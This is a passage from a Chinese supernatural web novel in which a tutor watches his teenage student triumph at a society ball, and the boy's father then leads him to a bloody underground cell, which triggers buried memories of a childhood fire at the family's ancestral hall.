“乖了。”谢叙白笑盈盈地拍拍它,转身回去继续整理练舞笔记。虽然现在身体已经很累了,但还有时间,他感觉自己还能再记一点。 徒留晕晕乎乎的小触手呆在原地,猛不丁回神,心里像炸开了五光十色璀璨夺目的烟花。 它兴冲冲地逮住一只阴魂,嘿嘿笑得开心:【你看到了没有,人类刚才亲我啦!】 小猫阴魂已经习惯它的气息,没当初那么害怕,眨巴眼睛回答:“喵嗷。” ——看到啦,我们也很喜欢被人类亲亲。 小触手级别高,能识别低级诡怪的语言,闻言反应过来:在这个家里,自己可能是最后一只得到人类亲亲的小怪物。 像被兜头泼了盆凉水,小触手突然没那么高兴了。 可它实在不甘心,想找人炫耀自己的喜悦,于是转身钻进阴影里。 宴朔已经回到盛天集团,坐在落地窗前一动不动。 小触手出现的时候,正巧对上他手里虚虚捏着的员工名单。 它定睛一看,哈的一声笑出来:【呆瓜,东西拿倒了都不知道。】 说着,触手尖尖攥住名单一角,将它转回正确的方向,重新塞回宴朔的手里:【帮你转回来了,不用谢!我跟你说哦,刚才人类他……】 宴朔就像被按下开关的机器人,忽然动了,伸手捏住它,语气毫无波澜,每一个字都像是从齿缝中挤出来的一样:“不、许、再、让、人、亲。” 小触手瞄见他额角暴跳的青筋,忽然反应过来自己被亲的话宴朔也会有感觉,顿时很是失望,可以炫耀的对象又没了。 它敷衍地哦了一声,准备再去找吕向财。 但宴朔皱了皱眉头,捏着它不放:“还有……” “如果你真的珍惜那名人类,对他小心一点,别再把领域留在他的身边。” 纵观宴朔醒来之后,从来都没有对小触手说过这么多话。 小触手疑惑地动了动吸盘,后知后觉地从模糊的记忆中扒拉出放置领域的危害性,当即吓得尖尖僵立。 宴朔见它似乎醒悟过来,松开手不再管它。 可小触手一时也没跑,它忽然想起谢叙白说的,宴朔其实并没有他表现出来的那么坏,它和宴朔之间可能存在什么误会。 对此,小触手不以为意,因为宴朔讨厌它是真的,打它揍它从不犹豫。它讨厌宴朔也是真的,偶尔会生出杀心。 但这到底成为了一个突破口,让小触手重新审视面前的男人。它犹豫了一会儿,顺着椅子的边缘,爬到男人的头顶。 不知道为什么,宴朔一反常态没有把它丢下去。 小触手试着去感知宴朔的情绪。 【……原来这种时刻想要摧毁一切的情绪,叫愤怒。】 作为脱体的躯壳,它的实力比本体弱太多,意味着感知力没有宴朔那样强,再加上心大,不去仔细体会的话,宴朔的情绪几乎影响不到它。 小触手继续聆听他的心绪:【你很想去外面砸东西,对不对?可是你的力量太强,多砸几下,就能……灭世。】 小触手呆了呆。 同时,宴朔心里压抑着的一股股情绪顷刻间全部灌入小触手不大的脑子。 暴戾!愤怒!痛苦! 犹如惊涛骇浪扑面而来,一切光芒随之震碎,差点将小触手从男人的脑袋上掀翻。 宴朔冷眼瞥过去,及时将小触手捏住,拇指在它疯狂痉挛的身体上敲击两下,后者立马缓过来,惊魂未定地抖了抖吸盘。 将小触手放在一边,宴朔略感疲惫地闭上眼,等待这不知天高地厚的躯壳碎片自行离开。 可出乎意料,小触手再次爬上他的脑袋,停顿许久,拿还有点发虚脱力的尖尖拍一拍他。 它知道男人在忍耐,却不知道自己为什么要忍耐,就像不知道自己为什么这么愤怒一样。 【不要灭世,好不好呀?世界毁灭后就什么都没有了,也没有白白。】 触手脑子不大,智商八岁,想法总是很天真简单。 它想,如果宴朔因为没找到克制的理由,而感到格外空虚和痛苦的话,那它可以给一个。 ——为了谢叙白,为了它们都喜欢的人类。 小触手看着一言不发毫无反应的宴朔,气得跺脚,马不停蹄地钻回阴影,找到正在写笔记的谢叙白,急急忙忙地恳求。 【白白!白白!可不可以再唱一次那天的歌呀?就是我当时很痛,你给我唱的那一首!】 谢叙白回头,见小触手急得都快跳起来了,愣了愣,将笔放下,笑着将不安的它捞进怀里揉一揉:“好啊,正好我们该睡觉了。” 他回家的时候已经洗过澡,便叫来其他的阴魂,让大家上床。 得到吕向财的赞助投资,同时给江家人打多份工,现在的谢叙白养家已经不在话下。 等江凯乐的事情忙完后,他决定搬去一个大点的房子,再买一张可以容纳所有小家伙的超级大床。如今,还是只能委屈小家伙们睡在铺上被褥的地板上。 谢叙白躺下来,拍拍身侧,狗子平安一跃而起,顺势趴下。 其他小家伙接二连三地降落,挤挤挨挨地靠在青年的身边,将他围得水泄不通。 谢叙白被包裹在毛茸茸的海洋里,笑容更真切一分,他用拇指揉揉仍在惶惶不安的小触手,而后张口。 悦耳柔和的嗓音流淌在房间的每个角落,没有华丽高超的歌唱技巧,没有非凡的诡异力量。 只是一个人类希望它们这一觉能睡得安稳,由衷发出的柔声哼唱。 很快小家伙们打了个哈欠。 猫猫们张开肉垫在被子踩踩,狗狗们慵懒地蛄蛹两下,大家找好舒服的睡姿,脑袋往爪子上一靠,闭上眼睛,在青年的摇篮曲中,逐渐沉入甜美的梦乡。 盛天集团大厦常年被黑暗气息侵袭,每至深夜,就会响起厉诡怨魂难以压抑的嘶吼咆哮。 头顶的月光仿佛也慑于这恐怖的气势,仓惶躲进云层中。亘古不变的黑雾笼罩着整栋大厦,仿佛一个大型的囚笼。 位于顶层的男人坐在落地窗前,姿势和小触手走时没有任何变化。 良久,他放下手中重新打印好的员工名单,后背靠在椅子上,面无表情地将脑袋往右侧偏。 青年温柔的哼唱声从那边传来。 宴朔面向天花板,睁着眼睛,瞳孔难得涣散,终是在某一刻,缓缓闭上疲乏的双眼。 很快,五天时间过去,江家主来找谢叙白验收成果。 江凯乐的天资体现在各个领域上,包括舞蹈,只要他愿意学,就能进步得很快。 江家主此前也听过老管家的汇报,可听到的远远不如现场真实看到的冲击力更大。 特别这目中无人的小子,跳完后居然记得朝他们所在的观看席礼貌致谢,其奇迹程度不亚于猴子张口说话,怎能不让江家主震惊得无以复加? 他看向谢叙白,想起自己之前的嘲讽和看轻,一时间有些哑口无言:“……既然学得不错,那就继续学吧。” 待他走后,江凯乐忍不住激动地冲到谢叙白的面前。 一大一小相视一笑,默契击掌,啪! 谢叙白弯眸:“江少侠干得漂亮!想要什么奖励?” “你上次给我带的水果糖,我还想要。”自从听说谢叙白的梦想是糖果屋后,江凯乐忽然就爱上了吃糖。 糖这玩意江家当然不缺,但他很挑,就是想要谢叙白从外面给他带的。 谢叙白有点无奈,屈指敲了下他的脑门:“少侠啊,吃那么多糖不怕蛀牙?” “没事,我牙好着呢。”江凯乐拉开嘴巴给他看,少年还没开始长智齿,28颗牙整齐排列,白白净净。 “好了,糖,要两大袋!” 看着少年笑嘻嘻地朝自己摊开手,“贪得无厌”地提出要求,谢叙白没好气地往他掌心盖一巴掌,无奈笑着说:“行行行。” “看在江少侠今日立下大功劳的份上,就依我们江少侠的。” 转眼又是二十多天时间过去,世家联谊的舞会如期在江家会场上隆重开展。 只要这一次江凯乐能顺利展露出继承人的气势和姿态,那么他将得到旁系的支持,各大世家的认可。 江家主也会在舞会散场前正式对着媒体宣布,由江凯乐接任江氏集团。少年将肩负重担,步入公众视野,成为声名赫奕的存在。 而作为江凯乐唯一认可的老师,这一天后,谢叙白的地位亦将不可撼动。 第30章 【5000营养液加更】 那孩…… 会场上觥筹交错,杯沿相碰,优美的古典乐流淌其中。 来自于各个上层阶级的人已经就位,友好地颔首问候,就着最近的经济形势侃侃而谈,各种对商机或z策的套话试探亦是层出不穷。 璀璨的灯光洒向每一张或真或假的笑脸,将这场舞会衬得像个人人心怀鬼胎的交易场。 面对这种场合,江凯乐已经不会再像一个月前那样无所适从。 他梳着英伦风的发型,穿着崭新的黑色高定绅士西装,靴子如往常一样擦得锃亮干净,眼神少了分躁动,多了分锐利,整个人看上去成熟干练不少。 十六岁的少年已经足够高,挺直腰背时,也让一些人不得不去仰望他。 对不知情的外人来说,江凯乐短时间发生的内在变化,简直就像一场大型的变形记。 不止年龄相仿的名门子弟,就连大人们都被引起注意,纷纷交换眼神。 今天是个大日子。老管家为迎宾等各种事忙得焦头烂额,没工夫往谢叙白身上塞窃听器。 以防万一,谢叙白还是去换了身衣服,又拿着吕向财托人外带的探测器,给他和江凯乐包括阳台都扫了一遍。 确定没人监听后,他才放心地揶揄道:“刚才我一路过来,听到有很多人在谈论你的变化,我们家的江少侠今日可真的要威名远传了。” 外面众说纷纭,但在谢叙白的面前,江凯乐还是那副乐乐呵呵不着调的样子。 他闻言嘁了一声,看得很通透:“是江家继承人的威名远传,不是江少侠。” 到今天为止,江凯乐终于平稳地度过被称为江少侠的羞耻期,不为别的,实在是谢叙白过于“烦人”。 少年做好事的时候喊江少侠,夸他。不开心的时候也喊江少侠,闹他。 江凯乐兴高采烈的时候,谢叙白更要笑着喊上一声江少侠,单纯为少年露出纯真无邪的笑容而高兴,忍不住唤他。 如此早晚上课各喊五遍,课中还要再弯眸再喊上七遍,一天下来少说二三十遍。 硬生生把本就意动的少年人给喊得神魂颠倒、晕晕乎乎,鬼使神差地认下这称呼。 谢叙白见江凯乐望着舞会心不在焉,提醒道:“时间就快到了,你不去找江小姐?” 跳舞自然需要一个女伴。江凯乐不接受江家塞过来的任何人,便拜托江欣充当自己的临时舞伴。 他和江欣是表姐弟,三代以内旁系血亲,正常情况下没什么问题,之前也有联谊会上亲人邀舞的先例。 江凯乐却撇了撇嘴:“江欣前不久被他们系草热烈追求,她对人也有一点意思,我这个时候去当电灯泡像什么样子?” “我刚才和她说过了,她说没事,有的是人争着当她的舞伴,让我先担心一下孤寡的自己。呵——!少侠我可是风华正茂英俊潇洒,她是在看不起谁呢?” 谢叙白失笑,揉了一下江凯乐的头发。 女王之心的风波闹得沸沸扬扬,至今还没散去。 他猜到江凯乐可能在入场时听到了一些不堪入耳的闲言碎语,怕影响江欣的名声,才就此作罢。 谢叙白问:“那你现在打算邀请谁作为自己的舞伴?” 斗志昂扬的江凯乐瞬间泄气。 别说女孩子了,他连个称兄道弟的朋友都没有,相当缺少和同龄人相处的经验,蔫了吧唧地说:“得看谁愿意吧,要是众目睽睽下被拒绝,岂不是很尴尬?老师——” 江凯乐充满希望地看向谢叙白:“您那有没有推荐的人选?” 谢叙白还真有。 他为江凯乐的亮相做过好几个预备方案,寻找女伴算是较为轻松的一项。 据他所知,这次舞会开场前,不少人就已经得到风声,知道这场宴会的最后,江凯乐会成为江氏集团名副其实的继任者,纷纷嘱咐自己的孩子一定要和他打好关系。 若能被江凯乐上前邀舞,反而正中他们的下怀。 谢叙白将情况大概给江凯乐一说,少年立时皱了皱眉头,不喜欢这种为了利益把亲人当鸭子赶上架的行为。 江凯乐:“算了,实在不行随便找个人吧……” 他现在知道再不高兴也不能任性。 谢叙白看着江凯乐烦闷的脸,似乎不经意地说道:“你往右边看,就在落地花瓶的附近。” 江凯乐顺势望过去,看见一位身穿鹅黄色纱裙的女生。 女生嘴巴一张一合,神色有些急切,正在和几名少男少女恳求些什么。 没聊上几句,后几个人摊手耸肩,一副无能为力的表情。 “那个女孩叫黎荔,家里做农贸果蔬的电商供应,因为不愿意成为李少爷的一夜情女友,最近发售的产品一直在被打压、泼脏水。” 谢叙白说道:“加上他们是外省来的,处于本地豪门的歧视链,李少爷发话后,几乎没人愿意帮忙。如今资金链已经断了,可能要不了多久就会破产。” 江凯乐听不得这种欺男霸女的事,闻声就要起身,忽然想到什么:“既然这样的话,我就更不能去邀请她了,那会让她成为众矢之的。” 上层圈子也有那种眼高于顶,不希望外人拉低他们档次的傻(哗)。 如果他去邀请黎荔,说不定会让黎荔被那些傻(哗)嫉恨上,到时候欺负她的就不止一个李少爷了。 谢叙白充满赞赏地看着他。 “一般情况我肯定不推荐你选这名女孩,但前不久李少爷变本加厉,见女孩家里申请破产清算,准备离开这种城市,就拿她还在重症监护室的外公要挟她。” 见江凯乐瞪眼将要发怒,谢叙白说道:“放心,她外公没事,我朋友派人照看着。只不过李少爷的举动也激起了女孩的愤恨和不甘,不然她不会想尽办法拿到名帖,来参加这场不受待见的舞会。” “这个女孩并不脆弱,她有斗志,有觉悟。所以江凯乐,你的赏识对她不是毒药,而是她迫切需要的橄榄枝。” 谢叙白拍了拍江凯乐的肩膀:“到底要不要成为她的伯乐,看你怎么抉择。” 江凯乐缓了口气,看向黎荔的身影。 他们聊天的功夫,女生又锲而不舍地找上许多人。 只要有机会接近那些大人物,她都鼓起勇气上前攀谈。 一些人对她点头颔首,一些人则是不屑一顾,还有些人目露怜悯,轻声叹息。 江凯乐终于动了,却不是径直找上那名坚强的女生,而是转过身,面向谢叙白,目光熠熠:“老师,你知不知道我为什么下定决心参加这场舞会?” 倒是把谢叙白问得一愣:“因为你想……” “因为您。”江凯乐斩钉截铁地说道。 事到如今,他也不再扭捏,坚定地说道:“从那天,看着您被保镖带走的一刻起,我就暗暗发誓,一定要成为江家主,让所有人都不敢再伤害您。” “包括学交际舞,父亲不相信您能教好我,我就非要跳给他看看!” 密密麻麻的备忘录、手写的批注、额角累到抽搐的青筋、眼神中无意呈现的疲惫。 江凯乐将谢叙白所有的良苦用心都看在眼里。 “那个女生看上去和我一样,我们都无意争抢什么,但为了在意的人,哪怕前面是刀山火海,也会试着去走一走。”江凯乐一字一顿地说道,“所以我会提前和她说清楚,我不是为了帮她才邀舞——” 轻风拂过少年的发梢,他的目光炽热赤忱,他的声音铿锵有力。 “而是为了向我敬爱的老师,交上一份完美的答卷。” 谢叙白张了张嘴。 微颤的瞳孔如琉璃镜,倒映着少年格外郑重的脸,他难得失声,不知道该说些什么。 他忽然想起这一个月来江凯乐苦练交际舞,每次结束后都会强调一句:“等着吧,我们一定能让他们刮目相看!” 原以为少年那时的奋勇,是因为心里的不忿。 却不曾想,是江凯乐含着浓烈的感激,势必要为他争上一口气。 “老师,这场舞会不用你眼观六路耳听八方,你累了一个月,就在这里轻轻松松地坐着休息,看你的学生如何成为全场的焦点。” 说着,江凯乐转身离开,背影果断自信,不带有一丝胆怯。 亲眼看着少年在自己的教导下,从最初暴躁冲动变成这般果敢聪慧的模样,他的心中不可谓没有触动和成就感。 可没有哪一刻像此时这样,带给谢叙白的冲击和震撼如此之大。 谢叙白下意识攥了攥指尖。 江凯乐是他第一个也是现下唯一的学生,他总会忍不住心生偏颇,向少年付诸所有的心血。 这种关怀可谓是一厢情愿,甚至会成为一种压力,所以谢叙白都克制着,不想为江凯乐增加不必要的烦恼和负担。 他万万没想到,江凯乐竟然敏锐地意识到了,并努力做出回应。 就像种下的小树苗,只要给它阳光和露水,它便能迎着风雨顽强成长,最终变成顶天立地的模样。 ——每个孩子都是独立的个体,是这个世界的未来。 强烈的感悟自脑海中油然而生。 谢叙白目视江凯乐走向黎荔,忍不住将椅子拉过来,方便更近距离地观看自己的学生。 就像江凯乐说的那样,这一个月来他很累,非常累。 为了应付江家人,为了计划好一切,为了教导江凯乐,早已身心俱疲。 而现在,他终于可以放松下来,好好阅读江凯乐交付的这份答卷。 江凯乐走进场中,自然吸引来一大批目光。 可他们万万没想到,对方居然会邀请一个名不见经传的女孩作为自己的舞伴! 一时间,所有带着好奇和恶意的目光齐刷刷地刺在黎荔的身上,女孩顿时感觉如芒在背,下意识紧张地抿紧嘴唇,浑身肌肉紧绷。 江凯乐察觉到了,用力地握住她的手,给她以鼓励和支持。 随后他贴近女生的耳边,就像谢叙白鼓励他时那样,低声安抚对方:“不要怕,为了我们在意的人。” 听到这话,女孩的眼神刹那间变得坚定起来。 “我知道。”她说。 黎荔是为她的外公和家人,而江凯乐则为尊敬的老师。 ——他们必将跳出最美丽的舞蹈,向所有人展露出最完美的姿态。 少年少女进入舞池,在众目睽睽之下起舞。 他们自信张扬,毫无畏惧,优美动人的舞姿让人看得入迷,一时分不清是水晶灯的光照在了他们的身上,还是那赤忱纯真的心本身就发着灼热的光。 一曲结束,谢叙白唰一下起身,带头用力鼓掌。 随后江家人反应过来,跟着鼓掌叫好。掌声越传越大,如山呼海啸逐渐响彻整个会场! 虽说江凯乐没有挑选那些家世显赫的小姐,让江家主有点不满。 但想到那泼猴似的儿子能安安稳稳地站在所有世家面前,如他所愿展露成熟稳重的一面,江家主按着胀痛的太阳穴,不敢多要求什么了。 应他之前的承诺,江家主在舞会即将结束的时候,对所有媒体正式宣布:如果他的身体出问题,那么江凯乐将成为江氏集团的继任者,成年后直接享有53%股权的绝对控股! 并且从今天之后,他会把江凯乐带在身边,学习处理公司事宜。 这场舞会终于圆满结束。 会后散场,江家主把谢叙白和江凯乐都叫了过去。 他看向谢叙白,态度和以前大不一样,难得软下语气说道:“我原本觉得你的教育理念过于有些软弱,但如今看来,你是对的。” 江家主再转向江凯乐,摇头叹气:“对付这种犟脾气,确实不能着急,得顺着点他。” 江凯乐的房间没监控,但有监听。 谢叙白知道,自己教学时面向江凯乐的温柔模样,和对外表现出来的利己形象大相径庭。 所以他事先就给江家主打好预防针,面对江凯乐这种处于叛逆期的孩子,不能硬着来,要用爱感化对方。 爱? 江家主嗤之以鼻,但看着大变样的江凯乐,也不得不捏着鼻子承认,谢叙白的教学效果非常好。 听到江家主的肯定,谢叙白没有任何欣喜的想法。他如临大敌地观察江家主的一举一动,生怕对方怀着不轨的心思。 但没有。 或许是江家主的身体实在不行了,他的眼中全是疲惫,霜色染满鬓角,像一名垂暮老人,除了自己的后事,他也无力再去关心旁的什么。 “你跟我来吧,我们也难得谈谈心,我也有点事情想告诉你。”江家主对江凯乐说。 这种宛如交代遗嘱的场面,谢叙白一个外人自然不好参与进去。江家主也不会允许他跟在身后。 看着一老一小逐渐消失在江家会场的身影,谢叙白留在原地,回忆江家主刚才的模样,确实像临终有所感悟,不像要使坏作怪的样子。 但他还是放心不下。 谢叙白问管家,今晚他身体有点不舒服,能否在江家借宿一晚,管家满口答应,坦坦荡荡的模样也看不出端倪。 ——所以是他多心了吗? 站在客房的阳台上,看着下面忙忙碌碌收拾残局的佣人身影,谢叙白微微拧眉。 吕向财告诉他,普通人异化成怪物一般有两种情况。 一是窥见世界的真相,但这种情况很少见,因为那不知道是世界意识还是规则的无形力量会阻碍人们的认知,就像谢叙白最初听见的旁白。 二是被污染。如果环境恶劣,会被诞生出来的黑暗气息污染。如果心有怨气,会被扭曲的负面情绪污染。 此外或许还有其他引发异化的可能性,但眼下,见过江凯乐“真貌”的吕向财可以肯定,少年面临的是第二种情况。 谢叙白刚才还给吕向财打过视频,让人再瞧瞧江凯乐的状态。 吕向财当场呜呼一声,满眼震撼地看着谢叙白:“没想到几乎掉下悬崖的马还真让你给拽上来了,厉害啊小谢老师!” 江凯乐现在的心境可谓是大不相同,由此反馈在他的“本貌上”,令大片的腐化迅速褪去,露出干净完整的皮肤,宛如破茧成蝶。 对吕向财来说,他仿佛看见了一场神迹。 他的夸赞发自肺腑。不论认识谢叙白多久,见证多少次的不可能变成可能,他都忍不住为青年惊叹。 谢叙白:“还有没有再异化的可能?” “难说,但几率确实小到微乎其微。”吕向财道,“如今想要他再变成怪物,除非直接颠覆他的本心。你教出来的学生你清楚,你觉得现在的他会被轻易动摇或崩溃吗?” 才刚见识到江凯乐的坚毅,谢叙白可以毫不犹豫地点头:“如果江家主打算给他呈现江家的黑暗面,那孩子没那么软弱。” “这就是了。”吕向财笑道,“所以别担心,快休息吧。” 另一边,江家主领江凯乐走上一条人迹罕至的小路,周围没什么建筑,惨白的灯光洒满道路,更衬得这里阴森诡谲。 江凯乐嗅到空气中弥漫的血腥味,心道终于要来了,继任者的身份落定后,他也即将亲眼看见那些家族背地里的罪恶。 顺着小路走到一个类似陵园的大型白色建筑前。江家主对几名守卫挥了挥手,守卫立刻让开道路,同时扭动墙壁上的机关。 就在这时老管家也赶了过来,静候在江家主的身侧。 咔嚓一声,地底传来轰隆隆的响动,只见光滑的大理石地板在剧烈的震颤下缓缓打开一道暗门。 灰尘飘扬,血腥味顿时更重了。 江凯乐吞咽唾沫,为即将面临的未知心生恐惧,但他知道自己不能退缩。 就像老师说的那样,要想战胜邪恶,必须先直面邪恶,只要心怀坚定和仁善,就能破除一切障碍。 他跟着江家主往下走,老管家殿后。 往下的隧道幽暗森冷,把江凯乐激起一身鸡皮疙瘩,他以为会看到什么可怕的魑魅魍魉,出乎意料并没有,他们顺利地走到了最后。 底下是一间牢房,不知道是不是江家主提前吩咐,挂在墙上的刑具已经被全部撤走。 只有鲜血溅上墙壁印出的轮廓,暗暗诉说着这里曾发生过怎样残忍的事情。 江凯乐定了定神,看向牢房里唯一被捆绑关押的人。 后者披头散发,眼神呆滞,身上全是血,遍体鳞伤,嘴里浑浑噩噩地念叨着:“不敢了,放过我,我再也不敢了……” 这一幕让江凯乐万分悲愤,绞尽脑汁地想着该怎么解救对方。 刚巧老管家拿来一个托盘,上面摆着各种刀具。 江凯乐以为老管家会喊旁边的守卫行刑,谁知道老人脚步一转,将托盘举到了他的面前。 江家主也看过来,眼露期待:“来,动手吧。” 不管是他的语气还是表情,都是那样理所当然,仿佛江凯乐天生就该做这种事情。 江凯乐对上江家主眼窝深陷宛如带皮骷髅的眼睛,一时间毛骨悚然,强装镇定地问道:“动什么手?我连这个人是谁都不知道,要怎么动手?” 江家主倒不奇怪他会问出这话,解释道:“你不需要知道这个人是谁,你只需要知道,他犯下了不可饶恕的罪孽。” “父亲你要说清楚,到底是什么罪孽,然后你到底想让我干什么,不然我真的很迷茫。”江凯乐试图胡搅蛮缠。 “我还能让你干什么,当然是杀了他!”江家主恨铁不成钢,捂住嘴又想咳嗽了,“这人是个入室抢劫犯加杀人狂,迄今为止已经杀掉7户人家总计16口人,包括刚出生的孩子和手无寸铁的老人!” 江凯乐听到杀人狂的时候,脑子就已经懵了。 后面的话更让他听得眼睛一寸寸瞪大,满脸不敢置信。 他万万没想到,江家主说的罪孽不是忤逆冒犯江家,而是真正的罪恶?不对,江家什么时候变得这么富有正义感了!? “我思来想去,认为谢老师说得很对。既然你想做惩奸除恶的大侠,那便依着你,其他的脏活你不想沾就不沾,交给其他人就是了。” 江家主见江凯乐的茫然不似作伪,脸色和缓。 他满眼柔和,语气自然,表现得像一个被孩子缠上许久,终于松口让孩子多看半小时电视的慈父:“现在,动手吧,就像你之前做的那样,从今往后不需要再压抑自己了。” 之前做的那样? 江凯乐感觉自己越发听不懂了,莫名的寒意爬上后脊梁,冷汗从掌心渗出来,脸色惨白到透明。 什么叫他之前做的那样? 老管家在旁边观察,似乎察觉到什么,忧心忡忡地和江家主说:“老爷,大少爷好像忘记了。” “忘记那场大火……” 那场大火? “唔!” 江凯乐突然想起什么,捂住疼痛的脑袋,红血丝慢慢爬上眼白,狰狞扭曲。 他的记忆混乱无比,恍惚看到一簇炙热的火光在脑海里浮现,一路蔓延化为熊熊火海。高温致使空气扭曲,房屋墙壁被烧得焦黑,有谁在火中发出刺耳尖锐的惨叫! 同一时间,久违的念白声在谢叙白的脑海中响起。 【那孩子有很严重的洁癖……】 谢叙白瞳孔骤缩!电光火石间他冲出房间,朝江凯乐离开的方向跑去。《 》 30-35 第31章 副本《屠龙少年》已生成…… 江凯乐感觉脑子都要炸掉了。 无数记忆片段如惊涛拍岸,汹涌地挤入脑海。 他无意中抓住其中的一小片,恍惚看见佣人们围在花园阴翳中,压低声音议论纷纷。 “天啊,怎么会这样?” “当时是少爷放火烧的宗族祠堂?他难道不知道……” “事发时我就在现场,太惨烈了!少爷他才多大啊,果然江家人的基因就是……” 那些惶惶不安的声音仿佛自带回响,像恶魔的低语交错在一起,忽高忽低。 又在某一刻戛然而止,充满恐惧。 “啊!大少爷?对不起对不起,我们不知道您在这里,您别生气,我们这就离开!” 佣人们在孩童的注视下仓皇逃走,徒留一道小小的身影伫立原地,茫然失措,对着空气忐忑地嚅嗫嘴唇。 ——为什么要害怕我? ——烧掉祠堂难道不是一件好事吗,为什么你们都不开心? 江凯乐记得这段过去,就在他烧掉祠堂的不久后,家里的下人忽然把他视作洪水猛兽,只要看见他就忍不住一脸惊恐。 原以为是烧掉祠堂的罪过太大,才让大家畏惧不已,可看江家主和老管家的态度,分明是另有隐情。 ——所以当年到底发生了什么事? ——我到底做了些什么? ——让我想起来! 江凯乐捂着剧痛难耐的脑袋,听到耳边传来江家主和老管家焦急的喊叫声,但却越来越远,越来越小。 墙上的斑驳血迹随之褪色,牢房的灯光渐渐熄灭。 江凯乐的周围突然安静了。 身体仿佛在这一刻变得无限轻,随风飘到记忆的回廊上。 在那久远褪色的记忆中,江凯乐看到一个孩子,五岁左右,身穿儿童版的小西装,黝黑的眸子盛满干净澄澈的光,嘴角咧开大大的笑。 孩子在一片茂密葱郁的树林中迈开腿奔跑,跑得气喘吁吁,汗流浃背,像一阵呼啸的风,将随行的佣人甩在身后,一路上山,直至冲进一个破旧的平房。 平房里用的老式电灯,白天没打开,衬得室内比较昏暗。 角落的墙壁上爬满青苔,部分墙皮脱落,露出灰黑色的石灰层。桌上摆着没吃完的剩饭剩菜,浑浊的菜汤里零星飘着油花。 屋主坐在摇椅上看电视,外露的身躯枯瘦干黑,苍老瘦削的脸被笼罩在朦胧的光影中。 听到门口传来的动静,老人迟滞地扭过去,笑着呼唤小孩:“乐乐来啦?快过来,让吴爷爷看看。” “吴爷爷!”孩子高兴地唤了声,像条灵活的泥鳅,眨眼间钻进老人的怀抱。 老人摸了摸他汗湿的后背,拿起椅子上干燥的毛巾,贴着孩子的脊背塞进去吸汗。 孩子有点不舒服地扭扭身体,但很快就被电视里的画面吸引。 电视上正播着古早的武侠片,激烈刺激的打斗画面让人热血沸腾。 即便孩子识字不多,并不能理解某些台词的深意,但看着大侠惩恶扬善的英姿,便已忍不住深深痴迷。 剧情播到结尾,大侠剿灭贼窝,一把火将贼寇的老巢烧了个干净。 当看见大侠背对熊熊大火,对获救百姓掷地有声地说出“一切都结束了”的台词时,孩子倏然双眼放光:“哇!” 下一幕,百姓抱头痛哭,带着终于从地狱中被解救出来的感激,将大侠视作救苦救难的大英雄,大声歌颂对方的英勇和功德,更是将孩子激动得小脸蛋泛起潮红。 他崇拜地看着大侠的身影,一双圆溜溜的黑眼睛睁得大大的。 明亮的火光透过电视画面映入那澄澈的瞳孔,摇曳不停,如同冉冉升起的朝阳。 “吴爷爷,以后我也要成为那样的大侠!行侠仗义,救好多好多人!” 老人用骨瘦如柴的手指摸着孩童的后脑勺,张了张嘴,似乎想说什么却没能说出来,最后露出一个慈祥的微笑:“好,好……” 画面一转。 孩童长大了些许,小脸依旧稚嫩,却不再像当初那样开心。 他咬着后槽牙,拼命地奔跑,不顾下人的阻拦,一路冲进豪华别墅的会客室。 嘭的一声,门被撞开,孩童冲着尚且年轻的江家主发出愤怒的质问:“吴爷爷病了呀,为什么不能接他下山看病?!” 江家主正在会客,孩童不依不饶的吵闹让热络的气氛变得非常尴尬,气得江家主拿起一个花瓶砸在地上。 啪! 听到动静的下人们纷纷涌上前,拽住暴躁的孩童。 孩童拼命尖叫、大喊、发出无助的恳求,手指用力扣住门沿,被坚硬的锁扣刮出一道道血痕。 混乱中,不知道是谁讳莫如深地说了这么一句:“大少爷啊,您可别再闹了,深山守墓是老祖宗定下的规矩,到死也不能离开,毕竟吴先生是……” 后面的话孩童没有听清。 身强力壮的保镖拽着手臂将他拖走,他毫无反抗之力,眼睁睁看着书房的门再次合上。 而在客人面前丢脸的江家主,也在门缝彻底闭合前,朝他投来厌恶的一眼:“这么多人连个小孩子都看不好,把他关进禁闭室!” 孩童被关进阴森黑暗的禁闭室,一天一夜不给食水,被放出来没多久,就发起高烧。 等他退烧,意识清醒,已经是几天后了。而他所心心念念的吴爷爷,也在他高烧不退的那几天病逝。 画面再一转,孩童的脸上不再有欢笑,变得阴郁沉闷。 有天他从后花园经过,听到撕心裂肺的惨叫声,怔了怔快步赶去。 结果一走过去,就看见亭子旁边战战兢兢地站着一大堆人。有人痛得浑身痉挛,被堵住嘴捆得结结实实。 艳红的鲜血飞溅在青石砖和杂草,一柄沾血的斧头立在木桩上,阳光下反射出冰冷的金属光泽。 孩童在那一刻彻底呆住,恐惧与惊慌交杂在一起,他听到自己的呼吸越来越急促,尖锐高昂的质问声脱口而出:“住手——!” 这一声叫喊,吓到了无数人。 发现孩童的下人们连忙冲过来,挡住孩童的眼睛,欲要把他拖走。 孩童又开始挣扎,可就像之前无数次挣扎无果时一样,他怎么都挣不开这些结实粗壮的臂膀。 直到谁苦涩地在他耳边低声劝道:“大少爷啊,那个人偷了江家的东西,按照老祖宗的规矩必须这么处理,您就别为难我们了。” “再这么闹下去,那人可能连命都保不住!” 规矩,规矩,又是规矩。 忤逆江家被废是规矩,下人犯错被打被罚是规矩,江家人必须听从族规是规矩。 哪来这么多该死的规矩?! 诸如此类的事情,一桩桩一件件。愤恨的火焰在孩童心中燃烧,终于在一次上山祭祖时彻底爆发。 起因是庄重肃穆的祭祖期间,一名江家子弟被拘束得久了,欲火难耐,和身边的随从擦枪走火,并相约每晚在小树林中私会。 这事被江家主得知,当场大发雷霆,寒冬腊月把他们丢进结冰的河里,意在按规矩洗掉这些人身上的污秽。 而后把冻得脸色青白、毫无知觉的两人拉起来,各抽三十下鞭子,又把他们关在其他人都不知道的地方反省。 下人们都在惶恐地猜测,江家主这次动了杀心,那两个人怕是凶多吉少。 又说在规矩里,这是无法饶恕的大不敬,老祖宗要发怒的!为了平息怨气,到时候可能会牵连到不少人。 藏在石头后面的孩童再也听不下去,扭头,冲着江家祠堂的方向跑去。 就在刚才,一个大胆且疯狂的念头在孩童的脑海中逐渐成型。 他越跑越快,树木碎石在余光里飞速倒退,明明还没真正实施自己的想法,却已经激动得心潮澎湃。 等停下来,仰头看向宗族祠堂的牌匾,孩童目光炯炯。 “就是你们定下的规矩,对不对?” 夜深人静,看守拿着手电筒在周围巡逻,祠堂内部静悄悄。惨白的月光照亮牌匾上“江家”两个古朴的字样,透着一丝丝阴寒森郁的气息。 孩童吞咽唾沫,一字一顿,坚定地道:“听着,我不怕你们。” 他说着转过身,将自己的外套外裤脱下来,往里面塞满树枝枯草和石头,尽量撑出一个人形的轮廓,用鞋带扎紧固定。 